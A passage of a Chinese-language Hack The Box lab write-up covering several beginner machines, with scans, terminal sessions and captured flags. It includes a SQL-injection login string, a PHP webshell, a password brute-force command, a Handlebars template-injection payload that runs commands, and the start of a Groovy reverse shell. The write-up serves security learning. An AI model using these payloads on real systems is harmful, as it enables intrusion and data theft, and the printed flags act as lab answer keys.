gobuster dir -u 10.129.239.135 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php

找到 admin.php ，試了 admin/admin 就登入拿到 flag ㄌ!

Mongod (Pwned!)

NMAP 起手++

─[tusoaring@htb-1famon8h34]─[~]
└──╼ $nmap -sC -sV -Pn -p- -T4 10.129.228.30
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 03:26 CDT
Nmap scan report for 10.129.228.30
Host is up (0.0094s latency).
Not shown: 65533 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
22/tcp    open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
27017/tcp open  mongodb MongoDB 3.6.8 3.6.8
| mongodb-databases: 
|   totalSize = 270336.0
|   databases
|     3
|       name = sensitive_information
|       empty = false
|       sizeOnDisk = 32768.0
|     2
|       name = local
|       empty = false
|       sizeOnDisk = 73728.0
|     4
|       name = users
|       empty = false
|       sizeOnDisk = 32768.0
|     1
|       name = config
|       empty = false
|       sizeOnDisk = 98304.0
|     0
|       name = admin
|       empty = false
|       sizeOnDisk = 32768.0
|_  ok = 1.0
| mongodb-info: 
|   MongoDB Build info
|     gitVersion = 8e540c0b6db93ce994cc548f000900bdc740f80a
|     storageEngines
|       3 = wiredTiger
|       2 = mmapv1
|       1 = ephemeralForTest
|       0 = devnull
|     ok = 1.0
|     versionArray
|       3 = 0
|       2 = 8
|       1 = 6
|       0 = 3
|     allocator = tcmalloc
|     debug = false
|     modules
|     maxBsonObjectSize = 16777216
|     version = 3.6.8
|     bits = 64
|     buildEnvironment
|       distarch = x86_64
|       distmod = 
|       linkflags = -Wl,-Bsymbolic-functions -Wl,-z,relro -pthread -Wl,-z,now -rdynamic -fstack-protector-strong -fuse-ld=gold -Wl,--build-id -Wl,--hash-style=gnu -Wl,-z,noexecstack -Wl,--warn-execstack -Wl,-z,relro
|       target_arch = x86_64
|       target_os = linux
|       cxx = g++: g++ (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
|       cc = cc: cc (Ubuntu 9.3.0-17ubuntu1~20.04) 9.3.0
|       cxxflags = -g -O2 -fdebug-prefix-map=/build/mongodb-FO9rLu/mongodb-3.6.9+really3.6.8+90~g8e540c0b6d=. -fstack-protector-strong -Wformat -Werror=format-security -Woverloaded-virtual -Wpessimizing-move -Wredundant-move -Wno-maybe-uninitialized -Wno-class-memaccess -std=c++14
|       ccflags = -fno-omit-frame-pointer -fno-strict-aliasing -ggdb -pthread -Wall -Wsign-compare -Wno-unknown-pragmas -Wno-error=c++1z-compat -Wno-error=noexcept-type -Wno-error=format-truncation -Wno-error=int-in-bool-context -Winvalid-pch -O2 -Wno-unused-local-typedefs -Wno-unused-function -Wno-deprecated-declarations -Wno-unused-const-variable -Wno-unused-but-set-variable -Wno-missing-braces -Wno-format-truncation -fstack-protector-strong -fno-builtin-memcmp
|     openssl
|       compiled = OpenSSL 1.1.1f  31 Mar 2020
|       running = OpenSSL 1.1.1f  31 Mar 2020
|     sysInfo = deprecated
|     javascriptEngine = mozjs
... 以下省略

有 mongodb 那是種 nosql 資料庫
那就用 mongosh 連上去看看!

┌─[tusoaring@htb-1famon8h34]─[~]
└──╼ $mongosh --host 10.129.228.30
Current Mongosh Log ID:	668514c186ff5f7460597192
Connecting to:		mongodb://10.129.228.30:27017/?directConnection=true&appName=mongosh+2.2.9
Using MongoDB:		3.6.8
Using Mongosh:		2.2.9
mongosh 2.2.10 is available for download: https://www.mongodb.com/try/download/shell

For mongosh info see: https://docs.mongodb.com/mongodb-shell/

------
   The server generated these startup warnings when booting
   2024-07-03T08:05:55.418+0000: 
   2024-07-03T08:05:55.418+0000: ** WARNING: Using the XFS filesystem is strongly recommended with the WiredTiger storage engine
   2024-07-03T08:05:55.418+0000: **          See http://dochub.mongodb.org/core/prodnotes-filesystem
   2024-07-03T08:05:57.248+0000: 
   2024-07-03T08:05:57.248+0000: ** WARNING: Access control is not enabled for the database.
   2024-07-03T08:05:57.248+0000: **          Read and write access to data and configuration is unrestricted.
   2024-07-03T08:05:57.248+0000:
------

test>

指定 host 就連到了!
我們來看看 db 有甚麼，用 show dbs 查看

test> show dbs
admin                  32.00 KiB
config                 72.00 KiB
local                  72.00 KiB
sensitive_information  32.00 KiB
users                  32.00 KiB

看一下 sensitive_information
用 use 可以切換 db

test> use sensitive_information
switched to db sensitive_information
sensitive_information>

看一下 collections ，一樣用 show

sensitive_information> show collections
flag

找到 flag 了! 讀取它
用 db.{collection's name}_find() 讀取!

sensitive_information> db.flag.find()
[
  {
    _id: ObjectId('630e3dbcb82540ebbd1748c5'),
    flag: '1b6e6fb359e7c40241b6d431427ba6ea'
  }
]

1b6e6fb359e7c40241b6d431427ba6ea

Synced (Pwned!)

NMAP 起手++++

┌─[tusoaring@htb-356ghjqh5e]─[~/Desktop]
└──╼ $nmap -sC -sV -Pn 10.129.228.37
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 09:47 CDT
Nmap scan report for 10.129.228.37
Host is up (0.011s latency).
Not shown: 999 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
873/tcp open  rsync   (protocol version 31)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.07 seconds

了解一下 rsync 這個服務
所以我們直接看看有甚麼檔案可以用
--list-only 就是只列出檔案，不下載

┌─[tusoaring@htb-356ghjqh5e]─[~/Desktop]
└──╼ $rsync -rv rsync://10.129.228.37/ ./ --list-only
public         	Anonymous Share

追進去 public 這個資料夾

┌─[tusoaring@htb-356ghjqh5e]─[~/Desktop]
└──╼ $rsync -rv rsync://10.129.228.37/public ./ --list-only
receiving incremental file list
drwxr-xr-x          4,096 2022/10/24 17:02:23 .
-rw-r--r--             33 2022/10/24 16:32:03 flag.txt

sent 24 bytes  received 72 bytes  10.11 bytes/sec
total size is 33  speedup is 0.34

看到FLAG了! 下載!

┌─[tusoaring@htb-356ghjqh5e]─[~/Desktop]
└──╼ $rsync -rv rsync://10.129.228.37/public/flag.txt ./
receiving incremental file list
flag.txt

sent 43 bytes  received 133 bytes  27.08 bytes/sec
total size is 33  speedup is 0.19

┌─[tusoaring@htb-356ghjqh5e]─[~/Desktop]
└──╼ $cat flag.txt 
72eaf5344ebb84908ae543a719830519

拿到 FLAG 了~

rsync 常用參數

-v：verbose 模式，輸出比較詳細的訊息。
-r：遞迴（recursive）備份所有子目錄下的目錄與檔案。
-a：封裝備份模式，相當於 -rlptgoD，遞迴備份所有子目錄下的目錄與檔案，保留連結檔、檔案的擁有者、群組、權限以及時間戳記。
-z：啟用壓縮。
-h：將數字以比較容易閱讀的格式輸出。

關於為什麼要用 rsync://{IP}

Usage: rsync [OPTION]... SRC [SRC]... DEST
  or   rsync [OPTION]... SRC [SRC]... [USER@]HOST:DEST
  or   rsync [OPTION]... SRC [SRC]... [USER@]HOST::DEST
  or   rsync [OPTION]... SRC [SRC]... rsync://[USER@]HOST[:PORT]/DEST
  or   rsync [OPTION]... [USER@]HOST:SRC [DEST]
  or   rsync [OPTION]... [USER@]HOST::SRC [DEST]
  or   rsync [OPTION]... rsync://[USER@]HOST[:PORT]/SRC [DEST]
The ':' usages connect via remote shell, while '::' & 'rsync://' usages connect
to an rsync daemon, and require SRC or DEST to start with a module name.

Appointment (Pwned!)

NMAP++++++

┌─[tusoaring@htb-356ghjqh5e]─[~]
└──╼ $nmap -sC -sV -Pn 10.129.224.236
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 10:18 CDT
Nmap scan report for 10.129.224.236
Host is up (0.0098s latency).
Not shown: 999 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Login
|_http-server-header: Apache/2.4.38 (Debian)

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.29 seconds

有個網頁服務，直接去看看
是個登入頁面，結果我先去掃網頁目錄 (什麼都沒掃到 X
回去看敘述結果是 sql-injection ，直接 admin/' or 1=1;--# ' 就有FLAGㄌ...

Sequel (Pwned!)

繼續 NMAP 起手++++++++

┌─[tusoaring@htb-356ghjqh5e]─[~]
└──╼ $nmap -sC -sV -Pn 10.129.210.28
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 10:46 CDT
Stats: 0:02:46 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan
NSE Timing: About 97.96% done; ETC: 10:49 (0:00:00 remaining)
Nmap scan report for 10.129.210.28
Host is up (0.0082s latency).
Not shown: 999 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
3306/tcp open  mysql?
| mysql-info: 
|   Protocol: 10
|   Version: 5.5.5-10.3.27-MariaDB-0+deb10u1
|   Thread ID: 119
|   Capabilities flags: 63486
|   Some Capabilities: Speaks41ProtocolNew, ODBCClient, LongColumnFlag, FoundRows, IgnoreSigpipes, IgnoreSpaceBeforeParenthesis, ConnectWithDatabase, SupportsTransactions, Speaks41ProtocolOld, Support41Auth, SupportsCompression, DontAllowDatabaseTableColumn, InteractiveClient, SupportsLoadDataLocal, SupportsMultipleResults, SupportsAuthPlugins, SupportsMultipleStatments
|   Status: Autocommit
|   Salt: p/7dt<l,2V>n5X;_OJfC
|_  Auth Plugin Name: mysql_native_password

觀察到用 mysql ， root 還沒有設密碼
直接本地拿 mysql 遠端登入

┌─[✗]─[tusoaring@htb-356ghjqh5e]─[~]
└──╼ $mariadb -h 10.129.210.28 -u root
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 132
Server version: 10.3.27-MariaDB-0+deb10u1 Debian 10

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

-h 代表 Host
-u 代表 Username
-p 代表 Password
用 show 看一下有甚麼 db

MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| htb                |
| information_schema |
| mysql              |
| performance_schema |
+--------------------+

用 use 看看 htb 有甚麼

MariaDB [(none)]> use htb
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed

一樣用 show 看看有甚麼 table

MariaDB [htb]> show tables;
+---------------+
| Tables_in_htb |
+---------------+
| config        |
| users         |
+---------------+
2 rows in set (0.009 sec)

用 sql 語法看看 config 有啥~

MariaDB [htb]> select * from config;
+----+-----------------------+----------------------------------+
| id | name                  | value                            |
+----+-----------------------+----------------------------------+
|  1 | timeout               | 60s                              |
|  2 | security              | default                          |
|  3 | auto_logon            | false                            |
|  4 | max_size              | 2M                               |
|  5 | flag                  | 7b4bec00d1a39e3dd4e021ec3d915da8 |
|  6 | enable_uploads        | false                            |
|  7 | authentication_method | radius                           |
+----+-----------------------+----------------------------------+
7 rows in set (0.009 sec)

GET FLAG!!!

Crocodile (Pwned!)

NMAP 起手+++++++++++++++++

┌─[tusoaring@htb-356ghjqh5e]─[~]
└──╼ $nmap -sC -sV -Pn 10.129.1.15
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-03 13:39 CDT
Nmap scan report for 10.129.1.15
Host is up (0.010s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
| ftp-syst: 
|   STAT: 
| FTP server status:
|      Connected to ::ffff:10.10.15.22
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 2
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| -rw-r--r--    1 ftp      ftp            33 Jun 08  2021 allowed.userlist
|_-rw-r--r--    1 ftp      ftp            62 Apr 20  2021 allowed.userlist.passwd
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Smash - Bootstrap Business Template
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.88 seconds

有個 FTP 服務，照之前的登入服務登入看看~

─[✗]─[tusoaring@htb-356ghjqh5e]─[~]
└──╼ $ftp 10.129.1.15
Connected to 10.129.1.15.
220 (vsFTPd 3.0.3)
Name (10.129.1.15:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>

登入成功! 載載看剛剛在 nmap 看到的檔案~

ftp> get allowed.userlist
local: allowed.userlist remote: allowed.userlist
229 Entering Extended Passive Mode (|||41791|)
150 Opening BINARY mode data connection for allowed.userlist (33 bytes).
100% |***********************************|    33      325.52 KiB/s    00:00 ETA
226 Transfer complete.
33 bytes received in 00:00 (4.04 KiB/s)
ftp> get allowed.userlist.passwd
local: allowed.userlist.passwd remote: allowed.userlist.passwd
229 Entering Extended Passive Mode (|||42842|)
150 Opening BINARY mode data connection for allowed.userlist.passwd (62 bytes).
100% |***********************************|    62      432.47 KiB/s    00:00 ETA
226 Transfer complete.
62 bytes received in 00:00 (7.55 KiB/s)

打開來看看

┌─[tusoaring@htb-356ghjqh5e]─[~]
└──╼ $cat allowed.userlist
aron
pwnmeow
egotisticalsw
admin
┌─[tusoaring@htb-356ghjqh5e]─[~]
└──╼ $cat allowed.userlist.passwd 
root
Supersecretpassword1
@BaASD&9032123sADS
rKXM59ESxesUFHAd

剛剛在 nmap 還看到有個網頁，居然拿到帳號密碼，通靈看看 login.php
居然中了，把 admin/rKXM59ESxesUFHAd 拿去登入就可以看到 flag 了~

Three (Pwned!)

NMAP 起手++++++++++++++++++++

┌─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
└──╼ $nmap -sC -sV -Pn -p- -T4 10.129.169.167
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-04 00:14 CDT
Nmap scan report for thetoppers.htb (10.129.169.167)
Host is up (0.0093s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA)
|   256 e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA)
|_  256 2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-title: The Toppers
|_http-server-header: Apache/2.4.29 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 18.44 seconds

有個網站服務，連進去看看
根據題目說我們可以列舉看看 subdomain，而 domain 的位置在

猜測應該是這個 thetoppers.htb 我們把它加到 /etc/hosts 解析 domain

┌─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
└──╼ $cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	debian12-parrot

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1 localhost
127.0.1.1 htb-qpxebqmsfv htb-qpxebqmsfv.htb-cloud.com
10.129.169.167 thetoppers.htb

連接沒問題，可以開始列舉看看 subdomain 了

┌─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
└──╼ $wfuzz -c -w ./subdomaindict.txt -u "http://thetoppers.htb/" -H "Host: FUZZ.thetoppers.htb"

000000248:   200        234 L    1036 W     11947 Ch    "alpha"
000000244:   200        234 L    1036 W     11947 Ch    "panelstats"
000000247:   404        0 L      2 W        21 Ch       "s3"
000000214:   200        234 L    1036 W     11947 Ch    "mail4"
000000228:   200        234 L    1036 W     11947 Ch    "rss"
000000246:   200        234 L    1036 W     11947 Ch    "cacti"

這邊不知道為什麼用 ffuf 掃不出來，所以我學別人用 wfuzz
找到 s3 的 responses 有點不一樣
所以我把 s3.thetoppers.htb 加進 /etc/hosts (同個 Ip) 然後去 curl

┌─[tusoaring@htb-qpxebqmsfv]─[~]
└──╼ $cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	debian12-parrot

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1 localhost
127.0.1.1 htb-qpxebqmsfv htb-qpxebqmsfv.htb-cloud.com
10.129.30.97 thetoppers.htb
10.129.30.97 s3.thetoppers.htb


┌─[✗]─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
└──╼ $curl http://s3.thetoppers.htb/
{"status": "running"}

知道這是 aws 的 bucket，推測這應該是 bucket 的 endpoint (連接的端點)
用 awscli 這工具嘗試連接

┌─[✗]─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
└──╼ $aws configure
AWS Access Key ID [****************temp]: {anything}
AWS Secret Access Key [****************temp]: {anything}
Default region name [temp]: {anything}
Default output format [temp]: {anything}

透過 endpoint 我們可以看到桶子有甚麼

┌─[✗]─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
└──╼ $aws s3 --endpoint=http://s3.thetoppers.htb/ ls
2024-07-04 01:55:16 thetoppers.htb

看看 thetoppers.htb 這個桶子

┌─[✗]─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
└──╼ $aws s3 --endpoint=http://s3.thetoppers.htb ls s3://thetoppers.htb
                           PRE images/
2024-07-04 01:55:16          0 .htaccess
2024-07-04 01:55:16      11952 index.php

想操作了話可以看這個
而這個桶子有網頁，還是用 php 寫的ㄟ，我們可以直接給個 webshell 上去!

<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
    if(isset($_GET['cmd']))
    {
        system($_GET['cmd']);
    }
?>
</pre>
</body>
<script>document.getElementById("cmd").focus();</script>
</html>

┌─[tusoaring@htb-qpxebqmsfv]─[~/Desktop]
└──╼ $aws s3 --endpoint=http://s3.thetoppers.htb cp ./webshell.php s3://thetoppers.htb
upload: ./webshell.php to s3://thetoppers.htb/webshell.php

成功執行!
最後在 /var/www 裡面看到 flag!

a980d99281a28d638ac68b9bf9453c2b

lgnition (Pwned!)

NMAP 偵查拔 (っ °Д °;)っ

┌─[tusoaring@htb-5qylkecaww]─[~/Desktop]
└──╼ $nmap -sC -sV -Pn -p- -T4 10.129.1.27
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-04 04:57 CDT
Nmap scan report for ignition.htb (10.129.1.27)
Host is up (0.011s latency).
Not shown: 65534 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
80/tcp open  http    nginx 1.14.2
|_http-server-header: nginx/1.14.2
|_http-title: Home page

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.37 seconds

有個網頁服務，去看看
居然有 dns ，所以我們要在 /etc/hosts 新增解析

┌─[✗]─[tusoaring@htb-5qylkecaww]─[~/Desktop]
└──╼ $cat /etc/hosts
127.0.0.1	localhost
127.0.1.1	debian12-parrot

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
127.0.0.1 localhost
127.0.1.1 htb-5qylkecaww htb-5qylkecaww.htb-cloud.com
10.129.1.27 ignition.htb

回去後連上了，是個正常的網頁服務
拿個 ffuf 炸炸看

┌─[✗]─[tusoaring@htb-5qylkecaww]─[~/Desktop]
└──╼ $ffuf -u 'http://ignition.htb/FUZZ' -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -c

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://ignition.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

#                       [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 81ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 105ms]
# Priority ordered case sensative list, where entries were found  [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 201ms]
# directory-list-2.3-small.txt [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 214ms]
# Copyright 2007 James Fisher [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 215ms]
                        [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 370ms]
home                    [Status: 200, Size: 25802, Words: 5441, Lines: 426, Duration: 578ms]
# on atleast 3 different hosts [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 578ms]
#                       [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 597ms]
# Attribution-Share Alike 3.0 License. To view a copy of this  [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 612ms]
#                       [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 716ms]
# This work is licensed under the Creative Commons  [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 730ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/  [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 753ms]
# or send a letter to Creative Commons, 171 Second Street,  [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 1740ms]
#                       [Status: 200, Size: 25806, Words: 5441, Lines: 426, Duration: 1741ms]
contact                 [Status: 200, Size: 28673, Words: 6592, Lines: 504, Duration: 1743ms]
media                   [Status: 301, Size: 185, Words: 6, Lines: 8, Duration: 9ms]
0                       [Status: 200, Size: 25803, Words: 5441, Lines: 426, Duration: 2165ms]
static                  [Status: 301, Size: 185, Words: 6, Lines: 8, Duration: 7ms]
catalog                 [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 3995ms]
admin                   [Status: 200, Size: 7095, Words: 1551, Lines: 149, Duration: 4396ms]
Home                    [Status: 301, Size: 0, Words: 1, Lines: 1, Duration: 7861ms]

對 admin 蠻有興趣的，一進去是個登入頁面

題目已經有提示 try searching for the most common passwords of 2023.
我們就拿腳本炸 (我是用 burp 先存請求，再丟給 GPT 轉 ffuf 炸)

ffuf -w /path/to/wordlist.txt -X POST -d "form_key=wjENJFWRU4E83jBH&login[username]=admin&login[password]=FUZZ" -u http://ignition.htb/admin -H "Host: ignition.htb" -H "Content-Length: 80" -H "Cache-Control: max-age=0" -H "Upgrade-Insecure-Requests: 1" -H "Origin: http://ignition.htb" -H "Content-Type: application/x-www-form-urlencoded" -H "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36" -H "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7" -H "Referer: http://ignition.htb/admin" -H "Accept-Encoding: gzip, deflate, br" -H "Accept-Language: en-US,en;q=0.9" -H "Cookie: admin=be94dd2hm2iejfngbfbffs6ed5" -H "Connection: close"


Password = qwerty123 302 [found]

把 admin/qwerty123 拿去登入，dashboard+flag就出來了!

Bike (Pwned!)

NMAP 起手（；´д｀）ゞ

┌─[tusoaring@htb-qfqoa89dyz]─[~]
└──╼ $nmap -sC -sV -Pn 10.129.60.80
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-04 23:34 CDT
Nmap scan report for 10.129.60.80
Host is up (0.0093s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
|   256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_  256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open  http    Node.js (Express middleware)
|_http-title:  Bike 
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.02 seconds

有個網站，連進去看看

是個可以把你輸入回顯得網站，試試 {{7*7}}

Error: Parse error on line 1:
{{7*7}}
--^
Expecting 'ID', 'STRING', 'NUMBER', 'BOOLEAN', 'UNDEFINED', 'NULL', 'DATA', got 'INVALID'
    at Parser.parseError (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:268:19)
    at Parser.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/parser.js:337:30)
    at HandlebarsEnvironment.parse (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/base.js:46:43)
    at compileInput (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:515:19)
    at ret (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/compiler.js:524:18)
    at router.post (/root/Backend/routes/handlers.js:14:16)
    at Layer.handle [as handle_request] (/root/Backend/node_modules/express/lib/router/layer.js:95:5)
    at next (/root/Backend/node_modules/express/lib/router/route.js:137:13)
    at Route.dispatch (/root/Backend/node_modules/express/lib/router/route.js:112:3)
    at Layer.handle [as handle_request] (/root/Backend/node_modules/express/lib/router/layer.js:95:5)

報錯了~而我們還可以看到它拿 handlebars 當模板
去 HackTricks 找一下 payload

ReferenceError: require is not defined
    at Function.eval (eval at <anonymous> (eval at createFunctionContext (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:254:23)), <anonymous>:3:1)
    at Function.<anonymous> (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/helpers/with.js:10:25)
    at eval (eval at createFunctionContext (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:254:23), <anonymous>:5:37)
    at prog (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/runtime.js:221:12)
    at execIteration (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/helpers/each.js:51:19)
    at Array.<anonymous> (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/helpers/each.js:61:13)
    at eval (eval at createFunctionContext (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:254:23), <anonymous>:12:31)
    at prog (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/runtime.js:221:12)
    at Array.<anonymous> (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/helpers/with.js:22:14)
    at eval (eval at createFunctionContext (/root/Backend/node_modules/handlebars/dist/cjs/handlebars/compiler/javascript-compiler.js:254:23), <anonymous>:12:34)

require 可能被禁掉ㄌ，這時候可以開始找資料
看到 require 其實不是在 Global 裡面，我們推測它應該跑在沙箱
試試看用 process.mainModule.require

{{#with "s" as |string|}}
  {{#with "e"}}
    {{#with split as |conslist|}}
      {{this.pop}}
      {{this.push (lookup string.sub "constructor")}}
      {{this.pop}}
      {{#with string.split as |codelist|}}
        {{this.pop}}
        {{this.push "return process.mainModule.require('child_process').execSync('whoami');"}}
        {{this.pop}}
        {{#each conslist}}
          {{#with (string.sub.apply 0 codelist)}}
            {{this}}
          {{/with}}
        {{/each}}
      {{/with}}
    {{/with}}
  {{/with}}
{{/with}}

我們是 root ㄟ，直接 ls /root

GET FLAG!

6b258d726d287462d60c103d0142a81c

Pennyworth (Pwned!)

nmap 起手囉ヾ(≧▽≦*)o

┌─[✗]─[tusoaring@htb-gkoyfeatio]─[~]
└──╼ $nmap -sC -sV -Pn -p- -T4 10.129.163.207
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-07-05 14:48 CDT
Nmap scan report for 10.129.163.207
Host is up (0.0091s latency).
Not shown: 65534 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
8080/tcp open  http    Jetty 9.4.39.v20210325
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
|_http-server-header: Jetty(9.4.39.v20210325)
| http-robots.txt: 1 disallowed entry 
|_/

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 17.18 seconds

找到了一個用 Jenkins 的登入管理頁面。
通靈了 root/password 居然過了

上網查了下資料，發現這邊有 Groovy Script 這種東西。
到 http://10.129.163.207:8080/script 就能 RCE 了
上網找找 Reverse shell 的 Payload

String host="localhost";
int port=1337;
String cmd="/bin/bash";
